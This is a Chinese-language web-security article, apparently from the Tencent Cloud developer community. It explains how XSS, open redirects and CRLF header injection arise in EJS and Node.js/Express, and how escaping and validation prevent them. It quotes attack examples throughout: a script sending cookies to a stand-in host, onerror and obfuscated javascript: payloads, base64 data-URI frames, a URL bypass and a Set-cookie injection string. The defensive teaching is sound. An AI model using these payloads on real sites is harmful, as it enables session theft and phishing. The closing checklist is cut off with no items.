XSS, 即为(Cross Site Scripting), 中文名为跨站脚本攻击
形成原因:开发者信任了攻击者的提交内容
危害:导致恶意代码执行获取敏感信息如以下代码,攻击者将用户的cookie发送至自己服务器
<script>
location.href='http://xxx.com/?cookie=' + document.cookie
</script>
从ejs的源码我们可以看到<%=%>
输出时会对一些字符进行转义
var _ENCODE_HTML_RULES = {
'&': '&'
, '<': '<'
, '>': '>'
, '"': '"'
, "'": '''
}
, _MATCH_HTML = /[&<>\'"]/g;
function encode_char(c) {
return _ENCODE_HTML_RULES[c] || c;
};
这里转义的原因是:<>'"
字符对原有的html结构会进行破坏,从而给了攻击者拼接代码的可能
&
符号必须先转义,否则其他已经被转成html实体中&符号会被重复转义
<%=%>
就安全了?看下面的这个例子
<img src=<%=class=%> />
<img src=/404.png onerror=alert(1) />
html属性在没有单、双引号的情况下也是允许的,这时候属性值是包含空格的时候也有被攻击的可能,所以针对这种场景我们也要考虑将空格转义
s = s.replace(/ /g," ");
同时某些特定的属性我们也需要注意:
<a href=javascript:alert(1) />
<a href=JaVaScRiPt:alert(1) />
// TAB键分隔
<a href=ja vascript:alert(1) />
这种情况下我们需要校验href属性是否包含 javascript:
浏览器对属性名的大小写不敏感以及TAB分隔会被忽略,所以我们可以正则/j\s*a\s*v\s*a\s*s\s*c\s*r\s*i\s*p\s*t/g
来判断属性的内容是否包含javascript
object标签data属性和iframe src属性也有注入的风险,可以看下面有例子
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
有些时候我们需要将后端的数据json输出在页面,如下代码
<script>
var userInfo = <%= JSON.stringify(loginData.userInfo) %>
</script>
ejs <%=%>
会将json里的'"
号进行转义,从而导致json不合法,使用 <%-%>
原样输出json语法不会有问题,但是会带来XSS安全问题,所以json安全输出我们可以单独转义
var ESCAPED_CHARS = {
'<' : '\\u003C',
'>' : '\\u003E',
'/' : '\\u002F',
'\u2028': '\\u2028',
'\u2029': '\\u2029'
};
<>/
符号是为了避免出现</script>提前结束script代码块
\u2028
\u2029
两个不可见字符在json字面量中是不合法的,所以也需要转义
出现XSS大部分原因是来自用户恶意提交内容,所以需要根据内容输出场景选择合适的方法进行过滤或者转义。
什么叫跳转漏洞,跳转漏洞是指后端未对跳转目的地链接进行合法性和白名单校验,导致用户被钓鱼,造成财产的损失。
我们在使用Node.js url
模块的parse
方法对链接进行解析后来校验,在解析过程发现一些特殊场景,
假定我们认为cloud.tencent.com
是安全域名
const url = require('url');
console.log(url.parse('https://cloud.tencent.com\\x@www.xxx.com'));
{
protocol: 'https:',
slashes: true,
auth: null,
host: 'cloud.tencent.com',
port: null,
hostname: 'cloud.tencent.com',
hash: null,
search: null,
query: null,
pathname: '/x@www.xxx.com',
path: '/x@www.xxx.com',
href: 'https://cloud.tencent.com/x@www.xxx.com'
}
从parse结果来看host确实是cloud.tencent.com
但是express在redirect的时候会对url上的部分字符进行编码
https://cloud.tencent.com\\x@www.xxx.com => https://cloud.tencent.com%5Cx@www.xxx.com
这样刚好命中了BasicAuth规则,浏览器不再跳转https://cloud.tencent.com
,而是直接跳到www.xxx.com
建议在对域名校验的同时,对URL路径上字符也进行校验,比如正常情况下我们不会用到的 @ 符
const url = require('url');
console.log(url.parse('https:\\\\cloud.tencent.com/../../developer/ask/question/24314'));
{
protocol: 'https:',
slashes: true,
auth: null,
host: 'cloud.tencent.com',
port: null,
hostname: 'cloud.tencent.com',
hash: null,
search: null,
query: null,
pathname: '/../../developer/ask/question/24314',
path: '/../../developer/ask/question/24314',
href: 'https://cloud.tencent.com/../../developer/ask/question/24314'
}
解析结果上来看protocol host
是合法的,但是最终重定向的结果会被../../
导向不符合预期的相对url上去
建议在url.parse前,使用正则/^https:\/\//来校验协议是否合法
正常情况下我们的重定向返回包是这样
HTTP/1.1 302 Moved Temporarily
Date: Fri, 24 Jun 2018 11:01:17 GMT
Content-Type: text/html
Content-Length: 520
Connection: close
Location: https://cloud.tencent.com
但是如果回跳url上有回车换行符时 https://cloud.tencent.com%0aSet-cookie:JSPSESSID%3Dwooyun
在某些后端语言setHeader方法操作后,发现会多一个 Set-cookie: JSPSESSID=wooyun
的注入
HTTP/1.1 302 Moved Temporarily
Date: Fri, 24 Jun 2018 11:01:17 GMT
Content-Type: text/html
Content-Length: 110
Connection: close
Location: https://cloud.tencent.com
Set-cookie: JSPSESSID=wooyun
建议对url先过滤掉\r\n后再进行合法性判断
对于url校验我们最好做到以下几点
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。